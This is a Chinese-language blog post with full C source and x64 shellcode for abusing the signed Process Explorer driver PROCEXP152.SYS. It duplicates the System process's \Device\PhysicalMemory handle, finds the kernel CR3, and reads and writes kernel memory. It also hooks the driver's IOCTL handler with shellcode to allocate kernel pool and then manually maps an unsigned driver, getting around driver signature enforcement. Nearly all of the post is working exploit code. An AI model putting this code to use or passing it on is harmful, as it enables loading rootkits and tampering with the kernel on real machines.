事件的起因是这篇blog,简单来说就是ark工具能够打开和复制system的句柄,其中\Device\PhysicalMemory的句柄可以映射到当前进程,从而直接操作物理地址。
去msdn下载一个最新的PROCEXP,找到它的驱动文件PROCEXP152.SYS,我这里的版本如下:

丢进ida(简单分析一下),找到可以利用的系统调用号,该ioctl的目的是复制句柄到当前进程。


简单看一下查找的代码,很简单,复制system的所有句柄,查找句柄名为\Device\PhysicalMemory的句柄。
- ULONG64 openProcess(ULONG64 pid)
- {
- ULONG64 lPid = pid;
- ULONG64 handle = 0;
- ULONG ioctl = 0x3c - 0x7CCB0000;
- sendData(ioctl, &pid, sizeof(ULONG64), &handle, sizeof(ULONG64));
- return handle;
- }
-
- ULONG64 ZwDuplicateObject(ULONG64 handleValue)
- {
- char inData[0x20] = { 0 };
- *(ULONG64*)inData = 4;
- *(ULONG64*)(inData + 0x18) = handleValue;
-
- ULONG64 duplicateHandle = 0;
- ULONG ioctl = 0x14 - 0x7CCB0000;
- sendData(ioctl, inData, 0x20, &duplicateHandle, sizeof(ULONG64));
- return duplicateHandle;
- }
-
- ULONG64 getPhysicalMemoryHandle(ULONG64 systemHandle)
- {
- ULONG64 MemoryHandle = NULL;
- if (!initFunc())
- {
- printf("init func failed! \n");
- return NULL;
- }
-
- PSYSTEM_HANDLE_INFORMATION_EX shInfo = NULL;
- if (PhEnumHandlesEx(&shInfo) != STATUS_SUCCESS)
- return NULL;
- for (ULONG i = 0; i < shInfo->NumberOfHandles; ++i)
- {
- if (shInfo->Handles[i].UniqueProcessId != 4)
- continue;
- //printf("shInfo->Handles[i].HandleValue 0x%x\n", shInfo->Handles[i].HandleValue);
-
- //虽然procexp中提供了查询hanadleTypeName的方法,但是pid要大于8,且procexp中没有提供objectname的函数,所以这里把所有句柄直接复制过来
- ULONG64 dupHandle = ZwDuplicateObject(shInfo->Handles[i].HandleValue);
-
- //使用下面的r3的方式部分句柄获取为0,目标\Device\PhysicalMemory也是0
- //ULONG64 dupHandle = NULL;
- //DuplicateHandle((HANDLE)systemHandle, (HANDLE)shInfo->Handles[i].HandleValue,GetCurrentProcess(),(LPHANDLE)&dupHandle,0x10000000,false,DUPLICATE_SAME_ACCESS);
- //printf("copyHandle 0x%llx\n", dupHandle);
- if (dupHandle)
- {
- //我比较懒只拿句柄名
- char BufferForObjectName[1024] = { 0 };
-
- //获取句柄名,r3访问可能会卡死 https://blog.csdn.net/qq_18218335/article/details/78155282
- NTSTATUS status = NtQueryObject((HANDLE)dupHandle, ObjectNameInformation, BufferForObjectName, sizeof(BufferForObjectName), NULL);
- if (NT_SUCCESS(status))
- {
- POBJECT_NAME_INFORMATION ObjectName = (POBJECT_NAME_INFORMATION)BufferForObjectName;
- //printf("ObjectName->NameBuffer %S len %d \n", ObjectName->Name.Buffer, ObjectName->Name.Length);
- if (ObjectName->Name.Length == wcslen(L"\\Device\\PhysicalMemory")*2 && memcmp((wchar_t*)ObjectName->Name.Buffer, L"\\Device\\PhysicalMemory",ObjectName->Name.Length) == 0)
- {
- MemoryHandle = dupHandle;
- break;
- }
- }
- }
- }
- VirtualFree(shInfo, 0, MEM_RELEASE);
-
- return MemoryHandle;
- }
找到之后就可以将物理内存映射到进程的进程空间进行操作,读写物理地址的代码如下,也比较容易理解,就是需要注意写入的数据存在跨页的情况:
- NTSTATUS ReadWritePhysMem(HANDLE hPhysMem, ULONG64 addr, size_t size, void* inOutBuf, bool read = true)
- {
- PVOID ptrBaseMemMapped = NULL;
- SECTION_INHERIT inheritDisposition = ViewShare;
- NTSTATUS status = STATUS_SUCCESS;
- LARGE_INTEGER sectionOffset;
-
- // Mapping page
- SYSTEM_INFO sysInfo;
- GetSystemInfo(&sysInfo);
- const ULONG64 offsetRead = addr % sysInfo.dwPageSize;
- const ULONG64 addrBasePage = addr - offsetRead;
- sectionOffset.QuadPart = addrBasePage;
-
- // Making sure that the info to read doesn't span on 2 different pages
- const ULONG64 addrEndOfReading = addr + size;
- const ULONG64 offsetEndOfRead = addrEndOfReading % sysInfo.dwPageSize;
- const ULONG64 addrBasePageEndOfReading = addrEndOfReading - offsetEndOfRead;
- size_t sizeToMap = sysInfo.dwPageSize;
- if (addrBasePageEndOfReading != addrBasePage)
- sizeToMap *= 2;
-
- // We cannot simply use a MapViewOfFile, since it does checks that prevents us from reading kernel memory, so we use NtMapViewOfSection.
- status = NtMapViewOfSection(hPhysMem, GetCurrentProcess(), &ptrBaseMemMapped, NULL, NULL, §ionOffset, (PSIZE_T)&sizeToMap, inheritDisposition, NULL, PAGE_READWRITE);
-
- if (status != STATUS_SUCCESS || !ptrBaseMemMapped)
- return status;
-
- // Copying the memory, unmapping, and returning
- const ULONG64 localAddrToRead = (ULONG64)(ptrBaseMemMapped) + offsetRead;
- if (read)
- memcpy(inOutBuf, (void*)(localAddrToRead), size);
- else
- memcpy((void*)(localAddrToRead), inOutBuf, size);
- UnmapViewOfFile(ptrBaseMemMapped);
- return status;
- }
但是只操作物理地址没什么用啊,难道直接搜索nt的特侦码?这样也是一种方法,但是不够体面,这里找到了这个blog,简单来说通过uefi启动的系统,0x1000-0x100000的物理地址存了一个结构体PROCESSOR_START_BLOCK,而且都在页的开头。

其中 _KPROCESSOR_STATE中有system的cr3,而且根据观察,win10的system的cr3是固定的0x1ad000(当然不建议直接使用,能搜出来为什么要写死呢)
- typedef struct _CONTEXT
- {
- ULONG ContextFlags;
- ULONG Dr0;
- ULONG Dr1;
- ULONG Dr2;
- ULONG Dr3;
- ULONG Dr6;
- ULONG Dr7;
- FLOATING_SAVE_AREA FloatSave;
- ULONG SegGs;
- ULONG SegFs;
- ULONG SegEs;
- ULONG SegDs;
- ULONG Edi;
- ULONG Esi;
- ULONG Ebx;
- ULONG Edx;
- ULONG Ecx;
- ULONG Eax;
- ULONG Ebp;
- ULONG Eip;
- ULONG SegCs;
- ULONG EFlags;
- ULONG Esp;
- ULONG SegSs;
- UCHAR ExtendedRegisters[512];
- } CONTEXT, *PCONTEXT;
-
- typedef struct _KSPECIAL_REGISTERS
- {
- ULONG Cr0;
- ULONG Cr2;
- ULONG Cr3;
- ULONG Cr4;
- ULONG KernelDr0;
- ULONG KernelDr1;
- ULONG KernelDr2;
- ULONG KernelDr3;
- ULONG KernelDr6;
- ULONG KernelDr7;
- DESCRIPTOR Gdtr;
- DESCRIPTOR Idtr;
- WORD Tr;
- WORD Ldtr;
- ULONG Reserved[6];
- } KSPECIAL_REGISTERS, *PKSPECIAL_REGISTERS;
-
- typedef struct _KPROCESSOR_STATE
- {
- CONTEXT ContextFrame;
- KSPECIAL_REGISTERS SpecialRegisters;
- } KPROCESSOR_STATE, *PKPROCESSOR_STATE;
有了结构体搜索起cr3来就简单了
- ULONG64 GetPML4(ULONG64 pbLowStub1M)
- {
- ULONG offset = 0;
- ULONG64 PML4 = 0;
- //这里有个坑,注意x32和x64指针大小
- ULONG cr3_offset = 0xa0;//FIELD_OFFSET(PROCESSOR_START_BLOCK, ProcessorState) + FIELD_OFFSET(KSPECIAL_REGISTERS, Cr3);
-
- __try
- {
- while (offset < 0x100000)
- {
- offset += 0x1000;
- if (0x00000001000600E9 != (0xffffffffffff00ff & *(UINT64*)(pbLowStub1M + offset))) //PROCESSOR_START_BLOCK->Jmp
- continue;
- //编译为0x32位的是6c 0x64的是70,这里我习惯编译成x32,所以这里写死0x70 FIELD_OFFSET(PROCESSOR_START_BLOCK, LmTarget)
- //printf("offset %x *(UINT64*)(pbLowStub1M + offset + 0x70) %llX\n", offset, *(UINT64*)(pbLowStub1M + offset + 0x70));
- if (0xfffff80000000000 != (0xfffff80000000003 & *(UINT64*)(pbLowStub1M + offset + 0x70)))
- continue;
- if (0xffffff0000000fff & *(UINT64*)(pbLowStub1M + offset + cr3_offset))
- continue;
- PML4 = *(UINT64*)(pbLowStub1M + offset + cr3_offset);
- break;
- }
-
- }__except (EXCEPTION_EXECUTE_HANDLER) {}
-
- return PML4;
- }
有了cr3,那就可以通过分页操作system映射的虚拟地址了,代码如下
- NTSTATUS ReadWriteVirtualAddressValue(ULONG64 cr3, HANDLE hPhysMem, ULONG64 virtualAddress, ULONG operateSize, PVOID Data, bool read)
- {
- /*ULONG64* pTmp = &virtualAddress;//https://bbs.pediy.com/thread-203391.htm
- PPAGEFORMAT pageFormat = (PPAGEFORMAT)pTmp;
- printf("pageFormat->offset %llx, pageFormat->pte %llx, pageFormat->pde %llx, pageFormat->ppe %llx, pageFormat->pxe %llx",pageFormat->offset, pageFormat->pte, pageFormat->pde, pageFormat->ppe, pageFormat->pxe);
- */
- ULONG64* pTmpVirtualAddress = &virtualAddress;
- PPAGEFORMAT pageFormat = (PPAGEFORMAT)pTmpVirtualAddress;
-
- //pxe处理
- ULONG64 pxe = NULL;
- ReadPhysMem(hPhysMem, cr3 + 8 * pageFormat->pxe, 8, &pxe);
- if (!pxe)
- return STATUS_UNSUCCESSFUL;
- //printf("pxe 0x%llx \n", pxe);
- pxe &= 0xFFFFFFFFFF000;//去掉高12和低12位数
-
- //ppe处理
- ULONG64 ppe = NULL;
- ReadPhysMem(hPhysMem, pxe + 8 * pageFormat->ppe, 8, &ppe);
- if (!ppe)
- return STATUS_UNSUCCESSFUL;
- //printf("ppe 0x%llx \n", ppe);
- ppe &= 0xFFFFFFFFFF000;//去掉高12和低12位数
- if (ppe & 0x80)//1g大页
- {
- //低30位清零
- ppe >>= 30;
- ppe <<= 30;
-
- //高34位清零
- virtualAddress <<= 34;
- virtualAddress >>= 34;
-
- if (read)
- return ReadPhysMem(hPhysMem, ppe + virtualAddress, operateSize, Data);
- else
- return WritePhysMem(hPhysMem, ppe + virtualAddress, operateSize, Data);
- }
-
-
- //pde处理
- ULONG64 pde = NULL;
- ReadPhysMem(hPhysMem, ppe + 8 * pageFormat->pde, 8, &pde);
- if (!pde)
- return STATUS_UNSUCCESSFUL;
- //printf("pde 0x%llx \n", pde);
- pde &= 0xFFFFFFFFFF000;//去掉高12和低12位数
- if (pde & 0x80) //2m大页
- {
- //低21位清零
- pde >>= 21;
- pde <<= 21;
-
- //高43位清零
- virtualAddress <<= 43;
- virtualAddress >>= 43;
-
- if (read)
- return ReadPhysMem(hPhysMem, pde + virtualAddress, operateSize, Data);
- else
- return WritePhysMem(hPhysMem, pde + virtualAddress, operateSize, Data);
- }
-
- //pte处理
- ULONG64 pte = NULL;
- ReadPhysMem(hPhysMem, pde + 8 * pageFormat->pte, 8, &pte);
- if (!pte)
- return STATUS_UNSUCCESSFUL;
- //printf("pte 0x%llx \n", pte);
- pte &= 0xFFFFFFFFFF000;//去掉高12和低12位数
-
- if (read)
- return ReadPhysMem(hPhysMem, pte + pageFormat->offset, operateSize, Data);
- else
- return WritePhysMem(hPhysMem, pte + pageFormat->offset, operateSize, Data);
-
- return STATUS_UNSUCCESSFUL;
- }
现在能读写内核地址虚拟地址了,能不能做一个简单的demo,这里是可以的,利用漏洞加载未签名的驱动程序(这里我只修复了nt的导入表以及重定位,而且没有传入驱动对象,也就意味着不能指定unload和mj_control),这里抄袭了kdu的想法,hook驱动的ioctl调用函数。
首先需要在内核申请一块地址,然后把未签名的驱动修复之后拷贝到内核中,启动线程或者修改线程执行流程到驱动的入口函数。
这里需要解决的第一个问题就是,如何在内核申请内存,这里处理比较简单,直接hook procexp的ioctl的调用函数,选了一个合适的调用号0x24

写入shellcode,控制参数申请和释放内核内存
- ULONG64 operateMemInit(HANDLE hPhysMem)
- {
- ULONG64 readData = 0;
- ULONG64 cr3 = GetCr3(hPhysMem);
- if (cr3)
- {
- ULONG64 procexpBase = GetKernelBaseByName((char*)"PROCEXP152.SYS");
- if (procexpBase)
- {
- printf("procexpBase %llX\n", procexpBase);
- //hook 0x24调用 这里函数0x30D0偏移写死,有懒人,我不说是谁
- NTSTATUS status = ReadWriteVirtualAddressValue(cr3, hPhysMem, procexpBase + 0x30D0 + 8, 8, &readData, 1);
- if (NT_SUCCESS(status))
- {
- if (readData == 0x848d48f88b4948ec)//这里代表函数还没有改
- {
- //这里写shellCode,主要有三个函数,1->ExAllocatePool 2->ExFreePool 以及3->PsCreateSystemThread (*+﹏+*)~@
- ULONG64 ExAllocatePool = GetKernelFuncAddress((char *)"ExAllocatePool");// 0xfffff8076c75fdb0;
- ULONG64 ExFreePool = GetKernelFuncAddress((char *)"ExFreePool");// 0xfffff8076cdb3140;
- /*
- 40 53 push rbx
- 56 push rsi
- 57 push rdi
- 41 57 push r15
- 48 83 EC 58 sub rsp, 58h //注意栈对齐movaps xmmword ptr [rbp-21h],xmm0 ss:0018:ffffa687`b2e21138
- //rcx = inBuf rdx = outBuf r8 = outLen
- 48 8B C1 mov rax,rcx
- 48 8B 00 mov rax,qword ptr ds:[rax]
- 48 83 F8 01 cmp rax,1
- 74 10 je eip + 18
- 48 83 F8 02 cmp rax,2
- 74 2A je eip + 44
- 48 83 F8 03 cmp rax,3 //原本打算是PsCreateSystemThread,但直接hook函数更省事儿
- 74 36 je eip + 56
- EB 34 jmp eip + 54
- // ExAllocatePool函数的调用
- 90 nop
- 90 nop
- 48 B8 11 11 11 11 11 11 11 11 mov rax,ExAllocatePool + 40
- 48 8B D9 mov rbx,rcx
- B9 00 00 00 00 mov ecx,0 //NonPagedPool
- 48 8B F2 mov rsi,rdx
- 48 8B 53 08 mov rdx,qword ptr ds:[rbx+8]//NumberOfBytes
- FF D0 call rax
- 48 89 06 mov qword ptr ds:[rsi],rax
- //ExFreePool函数的调用
- EB 12 jmp eip + 20
- 48 B8 11 11 11 11 11 11 11 11 mov rax,ExFreePool + 72
- 48 8B 49 08 mov rcx,qword ptr ds:[rcx+8]
- FF D0 call rax
- 90 nop
- 90 nop
- 90 nop
- 90 nop
- 90 nop
- 48 83 C4 58 add rsp, 58h
- 41 5F pop r15
- 5F pop rdi
- 5E pop rsi
- 5B pop rbx
- C3 retn
- */
- //保存原始代码。。。。省略
- UCHAR shellCode[] = { 0x40,0x53,0x56,0x57,0x41,0x57,0x48,0x83,0xEC,0x58,
- //这里是处理逻辑的opCobde
- 0x48,0x8B,0xC1,0x48,0x8B,0x00,0x48,0x83,0xF8,0x01,0x74,0x10,0x48,0x83,0xF8,0x02,0x74,0x2A,0x48,0x83,0xF8,0x03,0x74,0x36,0xEB,0x34,
- 0x90,0x90,
- //这里处理函数一
- 0x48,0xB8,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x48,0x8B,0xD9,0xB9,0x00,0x00,0x00,0x00,0x48,0x8B,0xF2,0x48,0x8B,0x53,0x08,0xFF,0xD0,0x48,0x89,0x06,
- 0xEB,0x12,
- //这里处理函数二
- 0x48,0xB8,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x48,0x8B,0x49,0x08,0xFF,0xD0,
- 0x90,0x90,0x90,0x90,0x90,
- //结束
- 0x48,0x83,0xC4,0x58,0x41,0x5F,0x5F,0x5E,0x5B,0xC3 };
-
- //拷贝函数
- memcpy(shellCode + 40, &ExAllocatePool, 8);
- memcpy(shellCode + 72, &ExFreePool, 8);
-
- status = ReadWriteVirtualAddressValue(cr3, hPhysMem, procexpBase + 0x30D0, sizeof(shellCode), shellCode, 0);
- if (NT_SUCCESS(status))
- {
- //__(1,0);
- printf("write shellcode func successful!!\n");
- return cr3;
- }
-
- }
- }
- else
- {
- printf("invalid address\n");
- }
-
- }
- }
-
- return cr3;
- }
很简单,传入1代表申请内存,2是释放,其他是不操作。
最后就是修复iat和重定位,在跳转到oep就能保证驱动的执行了,当然可能比较复杂的驱动会有问题,但这只能结合你自己的驱动自己去调,我写的demo很简单,加载也不会有问题。
- //这里只修复nt的导入函数和重定位,能修但是只能修一点点
- NTSTATUS LoadDriver(HANDLE hPhysMem,ULONG64 cr3,WCHAR* path)
- {
- UNICODE_STRING ustr;
- WCHAR sysPath[MAX_PATH * 2];
- ULONG64 sysBase = NULL;
-
- wcscpy_s(sysPath, path);
- RtlInitUnicodeString(&ustr, sysPath);
- NTSTATUS ntStatus = LdrLoadDll(NULL, NULL, &ustr, (PVOID*)& sysBase);
- if (NT_SUCCESS(ntStatus))
- {
- //printf("sysBase %llX \n", sysBase);
- PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)sysBase;
- if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
- {
- return STATUS_UNSUCCESSFUL;
- }
- PIMAGE_NT_HEADERS64 pImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)sysBase + ImageDosHeader->e_lfanew);
- PIMAGE_IMPORT_DESCRIPTOR pImportHeader = (PIMAGE_IMPORT_DESCRIPTOR)((PUCHAR)sysBase + pImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
- while (pImportHeader->Name && pImportHeader->Characteristics)
- {
- PCHAR name = (PCHAR)sysBase + pImportHeader->Name;
- PIMAGE_THUNK_DATA64 pImageThunkData = (PIMAGE_THUNK_DATA64)(pImportHeader->FirstThunk + (PUCHAR)sysBase);
- if (memcmp("ntoskrnl.exe", name, strlen("ntoskrnl.exe")) == 0)//只处理nt
- {
- while (pImageThunkData->u1.AddressOfData)
- {
- if ((pImageThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) == 0)
- {
- PIMAGE_IMPORT_BY_NAME pImageImportName = (PIMAGE_IMPORT_BY_NAME)(pImageThunkData->u1.AddressOfData + (PUCHAR)sysBase);
- ULONG64 func = GetKernelFuncAddress(pImageImportName->Name);
- if (func)
- VirtualProtectCopy(&pImageThunkData->u1.Function, func, 8);
- printf("name %s address %llx \n", pImageImportName->Name, pImageThunkData->u1.Function);
- }
- pImageThunkData++;
- }
- break;
- }
- pImportHeader++;
- }
- ULONG imgSize = pImageNtHeaders64->OptionalHeader.SizeOfImage;
- ULONG64 allocateAddress = __(1, imgSize);
- if (allocateAddress)
- {
- ULONG64 baseAddressoffest = ((ULONG64)allocateAddress) - (pImageNtHeaders64->OptionalHeader.ImageBase);
- PIMAGE_BASE_RELOCATION pRelocation = (PIMAGE_BASE_RELOCATION)((PUCHAR)sysBase + pImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
- while (pRelocation->SizeOfBlock && pRelocation->VirtualAddress)
- {
- ULONG iTypeOffsetCount = (ULONG)(pRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;
- for (ULONG i = 0; i < iTypeOffsetCount; i++)
- {
- USHORT TypeOffsetInfo = *(USHORT*)((PUCHAR)pRelocation + sizeof(IMAGE_BASE_RELOCATION) + i * sizeof(USHORT));
- USHORT TypeOffsetFlag = (TypeOffsetInfo >> 12) & 0x000F;
- if (IMAGE_REL_BASED_HIGHLOW == TypeOffsetFlag || TypeOffsetFlag == IMAGE_REL_BASED_DIR64)
- {
- ULONG64 relocationAddress = (ULONG64)sysBase + pRelocation->VirtualAddress + (TypeOffsetInfo & 0x0FFF);
- //*(PULONG64)relocationAddress += baseAddressoffest;
- VirtualProtectCopy((ULONG64*)relocationAddress, *(PULONG64)relocationAddress + baseAddressoffest, 8);
- }
- }
- pRelocation = (PIMAGE_BASE_RELOCATION)((ULONG64)pRelocation + pRelocation->SizeOfBlock);
- }
- printf("sysbase %llX allocateAddress %llX size %X \n", sysBase, allocateAddress, imgSize);
- //把数据拷贝过去
- for (ULONG i = 0; i < imgSize; i += 0x1000)
- {
- __try
- {
- printf("%llX \n", sysBase + i);//这里是不可以省略的,因为拷贝的时候r3的所有内存不是全部映射了,这是一种偷懒的做法,有些人真是懒死了
- ReadWriteVirtualAddressValue(cr3, hPhysMem, allocateAddress + i, 0x1000, (PVOID)(sysBase + i), 0);
- }__except(EXCEPTION_EXECUTE_HANDLER) {}
-
- }
-
- //printf("write successful!! allocateAddress is %llx \n", allocateAddress);
-
- //然后找一个hook点jmp过去
- ULONG64 oep = pImageNtHeaders64->OptionalHeader.AddressOfEntryPoint + allocateAddress;
- ULONG64 procexpBase = GetKernelBaseByName((char*)"PROCEXP152.SYS");
- if (procexpBase)
- {
- /*
- 48 B8 11 11 11 11 11 11 11 11 mov rax,1111111111111111
- FF E0 jmp rax
- */
- UCHAR shellCode[] = { 0x48,0xB8,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0xFF,0xE0 };
- memcpy(shellCode + 2, &oep, 8);
- NTSTATUS status = ReadWriteVirtualAddressValue(cr3, hPhysMem, procexpBase + 0x1A20, sizeof(shellCode), shellCode, 0);
- {
- printf("write oep success %llX \n", oep);
-
- system("pause");
-
- //触发jmp oep ==>需要注意的是,由于没有初始化pdriverobject,所以驱动里面不要写unload函数
- ___();
- }
- }
- system("pause");
- __(2, allocateAddress);//释放
- }
- }
- return STATUS_SUCCESS;
- }